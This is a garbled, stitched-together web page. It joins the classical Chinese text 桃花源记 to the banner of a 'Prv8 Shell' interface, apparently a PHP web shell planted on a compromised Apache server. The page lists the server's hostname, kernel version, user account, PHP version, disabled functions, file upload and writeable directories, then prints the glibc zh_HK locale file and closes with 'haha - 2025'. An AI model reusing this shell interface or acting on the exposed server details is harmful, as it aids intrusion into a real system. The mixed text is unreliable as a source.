晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/i18n/locales/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/i18n/locales/zh_HK
comment_char %
escape_char /

% This file is part of the GNU C Library and contains locale data.
% The Free Software Foundation does not claim any copyright interest
% in the locale data contained in this file.  The foregoing does not
% affect the license of the GNU C Library as a whole.  It does not
% exempt you from the conditions of the license if your use would
% otherwise be governed by that license.

% Chinese language locale for Hong Kong.
% Contributed by Kentaroh Noji <knoji@jp.ibm.com> and
% Tetsuji Orita <orita@jp.ibm.com>.

LC_IDENTIFICATION
title      "Chinese language locale for Hong Kong"
source     "IBM Globalization Center of Competency, Yamato Software Laboratory"
address    "1623-14, Shimotsuruma, Yamato-shi, Kanagawa-ken, 242-8502, Japan"
contact    ""
email      "bug-glibc-locales@gnu.org"
tel        ""
fax        ""
language   "Chinese"
territory  "Hong Kong SAR China"
revision   "1.0"
date       "2000-07-20"

category "i18n:2012";LC_IDENTIFICATION
category "i18n:2012";LC_CTYPE
category "i18n:2012";LC_COLLATE
category "i18n:2012";LC_TIME
category "i18n:2012";LC_NUMERIC
category "i18n:2012";LC_MONETARY
category "i18n:2012";LC_MESSAGES
category "i18n:2012";LC_PAPER
category "i18n:2012";LC_NAME
category "i18n:2012";LC_ADDRESS
category "i18n:2012";LC_TELEPHONE
category "i18n:2012";LC_MEASUREMENT
END LC_IDENTIFICATION

LC_CTYPE
copy "zh_CN"
END LC_CTYPE

LC_COLLATE

% Copy the template from ISO/IEC 14651
copy "iso14651_t1"

END LC_COLLATE

LC_MONETARY
% This is the POSIX Locale definition the LC_MONETARY category.
% These are generated based on XML base Locale definition file
% for IBM Class for Unicode/Java
%
int_curr_symbol       "HKD "
currency_symbol       "HK$"
mon_decimal_point     "."
mon_thousands_sep     ","
mon_grouping          3
positive_sign         ""
negative_sign         "-"
int_frac_digits       2
frac_digits           2
p_cs_precedes         1
p_sep_by_space        0
n_cs_precedes         1
n_sep_by_space        0
p_sign_posn           1
n_sign_posn           0
%
END LC_MONETARY


LC_NUMERIC
% This is the POSIX Locale definition for the LC_NUMERIC  category.
%
decimal_point          "."
thousands_sep          ","
grouping               3
%
END LC_NUMERIC


LC_TIME
% This is the POSIX Locale definition for the LC_TIME category.
% These are generated based on XML base Locale definition file
% for IBM Class for Unicode/Java
%
% Removed trailing space, by Anthony Fok <anthony@thizlinux.com>, Feb 2002
% Abbreviated weekday names (%a)
abday       "<U65E5>";"<U4E00>";/
            "<U4E8C>";"<U4E09>";/
            "<U56DB>";"<U4E94>";/
            "<U516D>"
%
% Removed trailing space, by Anthony Fok <anthony@thizlinux.com>, Feb 2002
% Full weekday names (%A)
day         "<U661F><U671F><U65E5>";"<U661F><U671F><U4E00>";/
            "<U661F><U671F><U4E8C>";"<U661F><U671F><U4E09>";/
            "<U661F><U671F><U56DB>";"<U661F><U671F><U4E94>";/
            "<U661F><U671F><U516D>"
%
% Abbreviated month names (%b)
abmon       "1<U6708>";"2<U6708>";/
            "3<U6708>";"4<U6708>";/
            "5<U6708>";"6<U6708>";/
            "7<U6708>";"8<U6708>";/
            "9<U6708>";"10<U6708>";/
            "11<U6708>";"12<U6708>"
%
% Full month names (%B)
mon         "<U4E00><U6708>";"<U4E8C><U6708>";/
            "<U4E09><U6708>";"<U56DB><U6708>";/
            "<U4E94><U6708>";"<U516D><U6708>";/
            "<U4E03><U6708>";"<U516B><U6708>";/
            "<U4E5D><U6708>";"<U5341><U6708>";/
            "<U5341><U4E00><U6708>";"<U5341><U4E8C><U6708>"
%
% Equivalent of AM PM
am_pm       "<U4E0A><U5348>";"<U4E0B><U5348>"
%
% Appropriate date and time representation
% Update by Roger So <roger.so@sw-linux.com>
% Changed %b to %m, by Anthony Fok <anthony@thizlinux.com>, Feb 2002
d_t_fmt     "%Y<U5E74>%m<U6708>%d<U65E5> %A %H:%M:%S"
%
% Appropriate date representation
% Changed %b to %m, by Anthony Fok <anthony@thizlinux.com>, Feb 2002
% %Y年%m月%d日 %A
d_fmt       "%Y<U5E74>%m<U6708>%d<U65E5> %A"
%
% Appropriate time representation
% %I時%M分%S秒 %Z
t_fmt       "%I<U6642>%M<U5206>%S<U79D2> %Z"
%
% Appropriate 12 h time representation (%r)
% Update by Roger So <roger.so@sw-linux.com>
t_fmt_ampm  "%p %I:%M:%S"
week 7;19971130;1
END LC_TIME


LC_MESSAGES
yesexpr "^[+1yY<UFF59><UFF39><U662F>]"
noexpr  "^[-0nN<UFF4E><UFF2E><U4E0D><U5426>]"
yesstr  "<U662F>"
nostr   "<U5426>"
END LC_MESSAGES


LC_PAPER
copy "i18n"
END LC_PAPER


LC_NAME
% This is the ISO_IEC TR14652 Locale definition for the
% LC_NAME category.
%
name_fmt    "%f%t%d1"
name_gen    "<U541B>"
name_mr     "<U5148><U751F>"
name_mrs    "<U592B><U4EBA>."
name_miss   "<U5C0F><U59D0>"
name_ms     "<U5973><U58EB>"

END LC_NAME


LC_ADDRESS
% This is the ISO_IEC TR14652 Locale definition for the
% LC_ADDRESS
postal_fmt  "%z%c%T%s%b%e%r"
country_ab2 "HK"
country_ab3 "HKG"
country_num 344
country_car "HK"
lang_name       "<U7E41><U9AD4><U4E2D><U6587>"
lang_ab		"zh"
lang_term	"zho"
lang_lib	"chi"
END LC_ADDRESS


LC_TELEPHONE
% This is the ISO_IEC TR14652 Locale definition for the
%
tel_int_fmt "+%c ;%a ;%l"
int_prefix  "852"
int_select  "001"
END LC_TELEPHONE


LC_MEASUREMENT
copy "i18n"
END LC_MEASUREMENT

haha - 2025